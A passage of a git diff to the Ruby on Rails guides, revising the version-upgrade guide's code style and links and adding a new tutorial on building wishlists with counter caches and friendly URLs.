+1. Add 'multi_json' to your `Gemfile`. Note that this might cease to work in the future
 
 2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
 
-WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
-`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
-deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/json/rdoc/JSON.html#method-i-load).
+WARNING: Do not simply replace `MultiJson.load` with
+`JSON.load` as that API is meant for deserializing arbitrary Ruby objects and
+is generally [unsafe](https://docs.ruby-lang.org/en/master/JSON.html#method-i-load).
+Prefer to use `JSON.parse`.
 
 #### JSON gem compatibility
 
@@ -736,12 +2261,16 @@ Rails-specific features. For example:
 ```ruby
 class FooBar
   def as_json(options = nil)
-    { foo: 'bar' }
+    { foo: "bar" }
   end
 end
+```
 
->> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
->> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```irb
+irb> FooBar.new.to_json
+=> "{\"foo\":\"bar\"}"
+irb> JSON.generate(FooBar.new)
+=> "\"#<FooBar:0x007fa80a481610>\""
 ```
 
 #### New JSON encoder
@@ -756,7 +2285,7 @@ part of the rewrite, the following features have been removed from the encoder:
 
 If your application depends on one of these features, you can get them back by
 adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
-gem to your Gemfile.
+gem to your `Gemfile`.
 
 #### JSON representation of Time objects
 
@@ -764,7 +2293,7 @@ gem to your Gemfile.
 now returns millisecond precision by default. If you need to keep old behavior with no millisecond
 precision, set the following in an initializer:
 
-```
+```ruby
 ActiveSupport::JSON::Encoding.time_precision = 0
 ```
 
@@ -801,7 +2330,7 @@ class ReadOnlyModel < ActiveRecord::Base
 
   private
     def before_save_callback
-      return false
+      false
     end
 end
 ```
@@ -825,9 +2354,10 @@ included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
 ```ruby
 module FixtureFileHelpers
   def file_sha(path)
-    Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+    OpenSSL::Digest::SHA256.hexdigest(File.read(Rails.root.join("test/fixtures", path)))
   end
 end
+
 ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
 ```
 
@@ -859,10 +2389,10 @@ methods directly on the `Relation`.
 
 ```ruby
 # Instead of this
-Author.where(name: 'Hank Moody').compact!
+Author.where(name: "Hank Moody").compact!
 
 # Now you have to do this
-authors = Author.where(name: 'Hank Moody').to_a
+authors = Author.where(name: "Hank Moody").to_a
 authors.compact!
 ```
 
@@ -878,9 +2408,9 @@ Before:
 
 ```ruby
 class User < ActiveRecord::Base
-  default_scope { where state: 'pending' }
-  scope :active, -> { where state: 'active' }
-  scope :inactive, -> { where state: 'inactive' }
+  default_scope { where state: "pending" }
+  scope :active, -> { where state: "active" }
+  scope :inactive, -> { where state: "inactive" }
 end
 
 User.all
@@ -889,7 +2419,7 @@ User.all
 User.active
 # SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
 
-User.where(state: 'inactive')
+User.where(state: "inactive")
 # SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
 ```
 
@@ -897,9 +2427,9 @@ After:
 
 ```ruby
 class User < ActiveRecord::Base
-  default_scope { where state: 'pending' }
-  scope :active, -> { where state: 'active' }
-  scope :inactive, -> { where state: 'inactive' }
+  default_scope { where state: "pending" }
+  scope :active, -> { where state: "active" }
+  scope :inactive, -> { where state: "inactive" }
 end
 
 User.all
@@ -908,7 +2438,7 @@ User.all
 User.active
 # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
 
-User.where(state: 'inactive')
+User.where(state: "inactive")
 # SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
 ```
 
@@ -918,9 +2448,9 @@ To get the previous behavior it is needed to explicitly remove the
 
 ```ruby
 class User < ActiveRecord::Base
-  default_scope { where state: 'pending' }
-  scope :active, -> { unscope(where: :state).where(state: 'active') }
-  scope :inactive, -> { rewhere state: 'inactive' }
+  default_scope { where state: "pending" }
+  scope :active, -> { unscope(where: :state).where(state: "active") }
+  scope :inactive, -> { rewhere state: "inactive" }
 end
 
 User.all
@@ -952,7 +2482,7 @@ start using the more precise `:plain`, `:html`, and `:body` options instead.
 Using `render :text` may pose a security risk, as the content is sent as
 `text/html`.
 
-### PostgreSQL json and hstore datatypes
+### PostgreSQL JSON and hstore datatypes
 
 Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`.
 In earlier versions, a `HashWithIndifferentAccess` was used. This means that
@@ -1008,7 +2538,7 @@ However, you will need to make a change if you are using `form_for` to update
 a resource in conjunction with a custom route using the `PUT` HTTP method:
 
 ```ruby
-resources :users, do
+resources :users do
   put :update_name, on: :member
 end
 ```
@@ -1028,16 +2558,16 @@ end
 If the action is not being used in a public API and you are free to change the
 HTTP method, you can update your route to use `patch` instead of `put`:
 
-`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are
-today. So, if you have an API that gets real PUT requests it is going to work.
-The router also routes `PATCH` requests to `/users/:id` to the `update` action.
-
 ```ruby
 resources :users do
   patch :update_name, on: :member
 end
 ```
 
+`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are
+today. So, if you have an API that gets real PUT requests it is going to work.
+The router also routes `PATCH` requests to `/users/:id` to the `update` action.
+
 If the action is being used in a public API and you can't change to HTTP method
 being used, you can update your form to use the `PUT` method instead:
 
@@ -1045,18 +2575,18 @@ being used, you can update your form to use the `PUT` method instead:
 <%= form_for [ :update_name, @user ], method: :put do |f| %>
 ```
 
-For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
+For more on PATCH and why this change was made, see [this post](https://rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates)
 on the Rails blog.
 
 #### A note about media types
 
 The errata for the `PATCH` verb [specifies that a 'diff' media type should be
 used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
-such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails
+such format is [JSON Patch](https://tools.ietf.org/html/rfc6902). While Rails
 does not support JSON Patch natively, it's easy enough to add support:
 
-```
-# in your controller
+```ruby
+# in your controller:
 def update
   respond_to do |format|
     format.json do
@@ -1069,9 +2599,11 @@ def update
     end
   end
 end
+```
 
-# In config/initializers/json_patch.rb:
-Mime::Type.register 'application/json-patch+json', :json_patch
+```ruby
+# config/initializers/json_patch.rb
+Mime::Type.register "application/json-patch+json", :json_patch
 ```
 
 As JSON Patch was only recently made into an RFC, there aren't a lot of great
@@ -1081,8 +2613,8 @@ full support for the last few changes in the specification.
 
 ### Gemfile
 
-Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
-line from your Gemfile when upgrading. You should also update your application
+Rails 4.0 removed the `assets` group from `Gemfile`. You'd need to remove that
+line from your `Gemfile` when upgrading. You should also update your application
 file (in `config/application.rb`):
 
 ```ruby
@@ -1093,7 +2625,7 @@ Bundler.require(*Rails.groups)
 
 ### vendor/plugins
 
-Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
 
 ### Active Record
 
@@ -1106,27 +2638,27 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep
 * Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
 
 * When using the default coder, assigning `nil` to a serialized attribute will save it
-to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).
+  to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).
 
 * Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
 
 * If you are not using Protected Attributes, you can remove any options related to
-this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
+  this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
 
 * Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
 
-```ruby
-  scope :active, where(active: true)
+    ```ruby
+    scope :active, where(active: true)
 
-  # becomes
-  scope :active, -> { where active: true }
-```
+    # becomes
+    scope :active, -> { where active: true }
+    ```
 
 * Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
 
 * Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
 
-* Rails 4.0 has deprecated the old-style hash based finder API. This means that
+* Rails 4.0 has deprecated the old-style hash-based finder API. This means that
   methods which previously accepted "finder options" no longer do.  For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')`
 
 * All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated.
@@ -1146,21 +2678,21 @@ this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
 
 * Rails 4.0 has changed to default join table for `has_and_belongs_to_many` relations to strip the common prefix off the second table name. Any existing `has_and_belongs_to_many` relationship between models with a common prefix must be specified with the `join_table` option. For example:
 
-```ruby
-CatalogCategory < ActiveRecord::Base
-  has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products'
-end
+    ```ruby
+    class CatalogCategory < ActiveRecord::Base
+      has_and_belongs_to_many :catalog_products, join_table: "catalog_categories_catalog_products"
+    end
 
-CatalogProduct < ActiveRecord::Base
-  has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products'
-end
-```
+    class CatalogProduct < ActiveRecord::Base
+      has_and_belongs_to_many :catalog_categories, join_table: "catalog_categories_catalog_products"
+    end
+    ```
 
 * Note that the prefix takes scopes into account as well, so relations between `Catalog::Category` and `Catalog::Product` or `Catalog::Category` and `CatalogProduct` need to be updated similarly.
 
 ### Active Resource
 
-Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your `Gemfile`.
 
 ### Active Model
 
@@ -1168,30 +2700,30 @@ Rails 4.0 extracted Active Resource to its own gem. If you still need the featur
 
 * Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
 
-```ruby
-# Disable root element in JSON by default.
-# ActiveSupport.on_load(:active_record) do
-#   self.include_root_in_json = false
-# end
-```
+    ```ruby
+    # Disable root element in JSON by default.
+    # ActiveSupport.on_load(:active_record) do
+    #   self.include_root_in_json = false
+    # end
+    ```
 
 ### Action Pack
 
 * Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
 
-```ruby
-  # config/initializers/secret_token.rb
-  Myapp::Application.config.secret_token = 'existing secret token'
-  Myapp::Application.config.secret_key_base = 'new secret key base'
-```
+    ```ruby
+    # config/initializers/secret_token.rb
+    Myapp::Application.config.secret_token = "existing secret token"
+    Myapp::Application.config.secret_key_base = "new secret key base"
+    ```
 
-Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.
+    Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.
 
-If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
+    If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
 
 * Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
 
-Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
+    Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
 
 * Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
 
@@ -1203,71 +2735,82 @@ Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for d
 
 * Rails 4.0 changes the default `layout` lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil.
 
-* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`.
+* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem "dalli"` to your `Gemfile`.
 
 * Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
 
 * Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should
-instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`).
-This deprecation also concerns the helpers based on this one (such as `link_to_if`
-or `link_to_unless`).
+  instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`).
+  This deprecation also concerns the helpers based on this one (such as `link_to_if`
+  or `link_to_unless`).
 
 * Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
 
 * Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
 
-```ruby
-  get 'one' => 'test#example', as: :example
-  get 'two' => 'test#example', as: :example
-```
+    ```ruby
+    get "one" => "test#example", as: :example
+    get "two" => "test#example", as: :example
+    ```
 
-```ruby
-  resources :examples
-  get 'clashing/:id' => 'test#example', as: :example
-```
+    ```ruby
+    resources :examples
+    get "clashing/:id" => "test#example", as: :example
+    ```
 
-In the first case, you can simply avoid using the same name for multiple
-routes. In the second, you can use the `only` or `except` options provided by
-the `resources` method to restrict the routes created as detailed in the
-[Routing Guide](routing.html#restricting-the-routes-created).
+    In the first case, you can simply avoid using the same name for multiple
+    routes. In the second, you can use the `only` or `except` options provided by
+    the `resources` method to restrict the routes created as detailed in the
+    [Routing Guide](routing.html#restricting-the-routes-created).
 
 * Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
 
-```ruby
-get Rack::Utils.escape('�ん���'), controller: 'welcome', action: 'index'
-```
+    ```ruby
+    get Rack::Utils.escape("�ん���"), controller: "welcome", action: "index"
+    ```
 
-becomes
+    becomes
 
-```ruby
-get '�ん���', controller: 'welcome', action: 'index'
-```
+    ```ruby
+    get "�ん���", controller: "welcome", action: "index"
+    ```
 
 * Rails 4.0 requires that routes using `match` must specify the request method. For example:
 
-```ruby
-  # Rails 3.x
-  match '/' => 'root#index'
+    ```ruby
+    # Rails 3.x
+    match "/" => "root#index"
 
-  # becomes
-  match '/' => 'root#index', via: :get
+    # becomes
+    match "/" => "root#index", via: :get
 
-  # or
-  get '/' => 'root#index'
-```
+    # or
+    get "/" => "root#index"
+    ```
 
-* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
 
-Remember you must also remove any references to the middleware from your application code, for example:
+    Remember you must also remove any references to the middleware from your application code, for example:
 
-```ruby
-# Raise exception
-config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
-```
+    ```ruby
+    # Raise exception
+    config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+    ```
+
+    Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
 
-Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+* Rails 4.0 allows configuration of HTTP headers by setting `config.action_dispatch.default_headers`. The defaults are as follows:
 
-* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
+    ```ruby
+    config.action_dispatch.default_headers = {
+      "X-Frame-Options" => "SAMEORIGIN",
+      "X-XSS-Protection" => "1; mode=block"
+    }
+    ```
+
+    Please note that if your application is dependent on loading certain pages in a `<frame>` or `<iframe>`, then you may need to explicitly set `X-Frame-Options` to `ALLOW-FROM ...` or `ALLOWALL`.
+
+* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure [`config.assets.precompile`][].
 
 * In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
 
@@ -1284,13 +2827,15 @@ Also check your environment settings for `config.action_dispatch.best_standards_
 * Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.
 * Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.
 
+[`config.assets.precompile`]: configuring.html#config-assets-precompile
+
 ### Active Support
 
 Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
 
 #### Cache
 
-The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](http://guides.rubyonrails.org/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.
+The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](https://guides.rubyonrails.org/v4.0/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.
 
 ### Helpers Loading Order
 
@@ -1303,11 +2848,13 @@ The order in which helpers from more than one directory are loaded has changed i
 ### sprockets-rails
 
 * `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.
-* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance:
+* The `config.assets.compress` option should be changed to [`config.assets.js_compressor`][] like so for instance:
 
-```ruby
-config.assets.js_compressor = :uglifier
-```
+    ```ruby
+    config.assets.js_compressor = :uglifier
+    ```
+
+[`config.assets.js_compressor`]: configuring.html#config-assets-js-compressor
 
 ### sass-rails
 
@@ -1327,12 +2874,12 @@ The following changes are meant for upgrading your application to the latest
 Make the following changes to your `Gemfile`.
 
 ```ruby
-gem 'rails', '3.2.21'
+gem "rails", "3.2.21"
 
 group :assets do
-  gem 'sass-rails',   '~> 3.2.6'
-  gem 'coffee-rails', '~> 3.2.2'
-  gem 'uglifier',     '>= 1.0.3'
+  gem "sass-rails",   "~> 3.2.6"
+  gem "coffee-rails", "~> 3.2.2"
+  gem "uglifier",     ">= 1.0.3"
 end
 ```
 
@@ -1360,7 +2907,7 @@ config.active_record.mass_assignment_sanitizer = :strict
 
 ### vendor/plugins
 
-Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
 
 ### Active Record
 
@@ -1378,18 +2925,18 @@ The following changes are meant for upgrading your application to Rails 3.1.12,
 Make the following changes to your `Gemfile`.
 
 ```ruby
-gem 'rails', '3.1.12'
-gem 'mysql2'
+gem "rails", "3.1.12"
+gem "mysql2"
 
 # Needed for the new asset pipeline
 group :assets do
-  gem 'sass-rails',   '~> 3.1.7'
-  gem 'coffee-rails', '~> 3.1.1'
-  gem 'uglifier',     '>= 1.0.3'
+  gem "sass-rails",   "~> 3.1.7"
+  gem "coffee-rails", "~> 3.1.1"
+  gem "uglifier",     ">= 1.0.3"
 end
 
 # jQuery is the default JavaScript library in Rails 3.1
-gem 'jquery-rails'
+gem "jquery-rails"
 ```
 
 ### config/application.rb
@@ -1398,14 +2945,14 @@ The asset pipeline requires the following additions:
 
 ```ruby
 config.assets.enabled = true
-config.assets.version = '1.0'
+config.assets.version = "1.0"
 ```
 
-If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+If your application is using an "/assets" route for a resource you may want to change the prefix used for assets to avoid conflicts:
 
 ```ruby
 # Defaults to '/assets'
-config.assets.prefix = '/asset-files'
+config.assets.prefix = "/asset-files"
 ```
 
 ### config/environments/development.rb
@@ -1454,7 +3001,7 @@ You can help test performance with these additions to your test environment:
 # Configure static asset server for tests with Cache-Control for performance
 config.public_file_server.enabled = true
 config.public_file_server.headers = {
-  'Cache-Control' => 'public, max-age=3600'
+  "Cache-Control" => "public, max-age=3600"
 }
 ```
 
@@ -1484,7 +3031,7 @@ You need to change your session key to something new, or remove all sessions:
 
 ```ruby
 # in config/initializers/session_store.rb
-AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
+AppName::Application.config.session_store :cookie_store, key: "SOMETHINGNEW"
 ```
 
 or
diff --git a/guides/source/wishlists.md b/guides/source/wishlists.md
new file mode 100644
index 0000000000000..00fcba8267acb
--- /dev/null
+++ b/guides/source/wishlists.md
@@ -0,0 +1,1658 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Wishlists
+=========
+
+This guide covers adding Wishlists to the e-commerce application you created in the
+[Getting Started Guide](getting_started.html)). We will use the code from the
+[Sign up and Settings Guide](sign_up_and_settings.html) as a starting place.
+
+After reading this guide, you will know how to:
+
+* Add wishlists
+* Use counter caches
+* Add friendly URLs
+* Filter records
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+E-commerce stores often have wishlists for sharing products. Customers can use
+wishlists to keep track of products they'd like to buy or share them with
+friends and family for gift ideas.
+
+Let's get started!
+
+Wishlist Models
+---------------
+
+Our e-commerce store has products and users that we already built in the previous
+tutorials. These are the foundations we need to build Wishlists. Each wishlist
+belongs to a user and contains a list of products.
+
+Let's start by creating the `Wishlist` model.
+
+```bash
+$ bin/rails generate model Wishlist user:belongs_to name products_count:integer
+```
+
+This model has 3 attributes:
+
+- `user:belongs_to` which associates the `Wishlist` with the `User` who
+  owns it
+- `name` which we'll also use for friendly URLs
+- `products_count` for the [counter cache](https://guides.rubyonrails.org/association_basics.html#counter-cache) to count how many products
+  are on the Wishlist
+
+To associate a `Wishlist` with multiple `Products`, we need to add a table to
+join them.
+
+```bash
+$ bin/rails generate model WishlistProduct product:belongs_to wishlist:belongs_to
+```
+
+We don't want the same `Product` to be on a `Wishlist` multiple times, so let's
+add an index to the migration that was just created:
+
+```ruby#10
+class CreateWishlistProducts < ActiveRecord::Migration[8.0]
+  def change
+    create_table :wishlist_products do |t|
+      t.belongs_to :product, null: false, foreign_key: true
+      t.belongs_to :wishlist, null: false, foreign_key: true
+
+      t.timestamps
+    end
+
+    add_index :wishlist_products, [:product_id, :wishlist_id], unique: true
+  end
+end
+```
+
+Finally, let's add a counter to the `Product` model to keep track of how many
+`Wishlists` the product is on.
+
+```bash
+$ bin/rails generate migration AddWishlistsCountToProducts wishlists_count:integer
+```
+
+### Default Counter Cache Values
+
+Before we run these new migrations, let's set a default value for the counter
+cache columns so that all existing records start with a count of zero instead of NULL.
+
+Open the `db/migrate/<timestamp>_create_wishlists.rb` migration and add the
+default option:
+
+```ruby#6
+class CreateWishlists < ActiveRecord::Migration[8.0]
+  def change
+    create_table :wishlists do |t|
+      t.belongs_to :user, null: false, foreign_key: true
+      t.string :name
+      t.integer :products_count, default: 0
+
+      t.timestamps
+    end
+  end
+end
+```
+
+Then open `db/migrate/<timestamp>_add_wishlists_count_to_products.rb` and add a
+default here too:
+
+```ruby#3
+class AddWishlistsCountToProducts < ActiveRecord::Migration[8.0]
+  def change
+    add_column :products, :wishlists_count, :integer, default: 0
+  end
+end
+```
+
+Now let's run the migrations:
+
+```bash
+$ bin/rails db:migrate
+```
+
+### Associations & Counter Caches
+
+Now that our database tables are created, let's update our models in Rails to
+include these new associations.
+
+In `app/models/user.rb`, add the following:
+
+```ruby#4
+class User < ApplicationRecord
+  has_secure_password
+  has_many :sessions, dependent: :destroy
+  has_many :wishlists, dependent: :destroy
+
+  # ...
+```
+
+We set `dependent: :destroy` on the `wishlists` association so when a User is
+deleted, their wishlists are deleted too.
+
+Then in `app/models/product.rb`, add:
+
+```ruby#4-5
+class Product < ApplicationRecord
+  include Notifications
+
+  has_many :wishlist_products, dependent: :destroy
+  has_many :wishlists, through: :wishlist_products
+  has_one_attached :featured_image
+  has_rich_text :description
+```
+
+We added two associations to `Product`. First, we associate the `Product` model
+with the `WishlistProduct` join table. Using this join table, our second
+association tells Rails that a `Product` is a part of many `Wishlists` through
+the same `WishlistProduct` join table. From a `Product` record, we can directly
+access the `Wishlists` and Rails will know to automatically `JOIN` the tables in
+SQL queries.
+
+We also set `wishlist_products` as `dependent: :destroy`. When a `Product` is
+destroyed, it will be automatically removed from any Wishlists.
+
+A counter cache stores the number of associated records to avoid running a separate query each time the count is needed. So in `app/models/wishlist_product.rb`, let's update both associations to enable counter
+caching:
+
+```ruby#2-5
+class WishlistProduct < ApplicationRecord
+  belongs_to :product, counter_cache: :wishlists_count
+  belongs_to :wishlist, counter_cache: :products_count
+
+  validates :product_id, uniqueness: { scope: :wishlist_id }
+end
+```
+
+We've specified a column name to update on the associated models. For the
+`Product` model, we want to use the `wishlists_count` column and for `Wishlist` we
+want to use `products_count`. These counter caches update anytime a
+`WishlistProduct` is created or destroyed.
+
+The `uniqueness` validation also tells Rails to check if a product is already on
+the wishlist. This is paired with the unique index on the wishlist_product table
+so that it's also validated at the database level.
+
+Finally, let's update `app/models/wishlist.rb` with it's associations:
+
+```ruby#3-4
+class Wishlist < ApplicationRecord
+  belongs_to :user
+  has_many :wishlist_products, dependent: :destroy
+  has_many :products, through: :wishlist_products
+end
+```
+
+Just like with `Product`, `wishlist_products` uses the `dependent: :destroy`
+option to automatically remove join table records when a Wishlist is deleted.
+
+### Friendly URLs
+
+Wishlists are often shared with friends and family. By default, the ID in the
+URL for a `Wishlist` is a simple Integer. This means we can't easily look at the
+URL to determine which `Wishlist` it's for.
+
+Active Record has a `to_param` class method that can be used for generating more descriptive
+URLs. Let's try it out in our model:
+
+```ruby#6-8
+class Wishlist < ApplicationRecord
+  belongs_to :user
+  has_many :wishlist_products, dependent: :destroy
+  has_many :products, through: :wishlist_products
+
+  def to_param
+    "#{id}-#{name.squish.parameterize}"
+  end
+end
+```
+
+This will create a `to_param`  instance method that returns a String for the URL param made up of the `id` and `name` joined by
+hyphens. `name` is made URL safe by using
+[`squish`](https://api.rubyonrails.org/classes/String.html#method-i-squish) to
+clean up whitespace and
+[`parameterize`](https://api.rubyonrails.org/classes/String.html#method-i-parameterize)
+to replace special characters.
+
+Let's test this in the Rails console:
+
+```bash
+$ bin/rails console
+```
+
+Then create a `Wishlist` for your `User` in the database:
+
+```irb
+store(dev)> user = User.first
+store(dev)> wishlist = user.wishlists.create!(name: "Example Wishlist")
+store(dev)> wishlist.to_param
+=> "1-example-wishlist"
+```
+
+Perfect!
+
+Now let's try finding this record using this param:
+
+```irb
+store(dev)> wishlist = Wishlist.find("1-example-wishlist")
+=> #<Wishlist:0x000000012bb71d68
+ id: 1,
+ user_id: 1,
+ name: "Example Wishlist",
+ products_count: nil,
+ created_at: "2025-07-22 15:21:29.036470000 +0000",
+ updated_at: "2025-07-22 15:21:29.036470000 +0000">
+```
+
+It worked! But how? Didn't we have to use Integers to find records?
+
+The way we're using `to_param` takes advantage of [how Ruby converts Strings to
+Integers](https://docs.ruby-lang.org/en/master/String.html#method-i-to_i). Let's convert that param to an integer using `to_i` in the console:
+
+```irb
+store(dev)> "1-example-wishlist".to_i
+=> 1
+```
+
+Ruby parses the String until it finds a character that isn't a valid number. In
+this case, it stops at the first hyphen. Then Ruby converts the String of `"1"`
+into an Integer and returns `1`. This makes `to_param` work seamlessly when
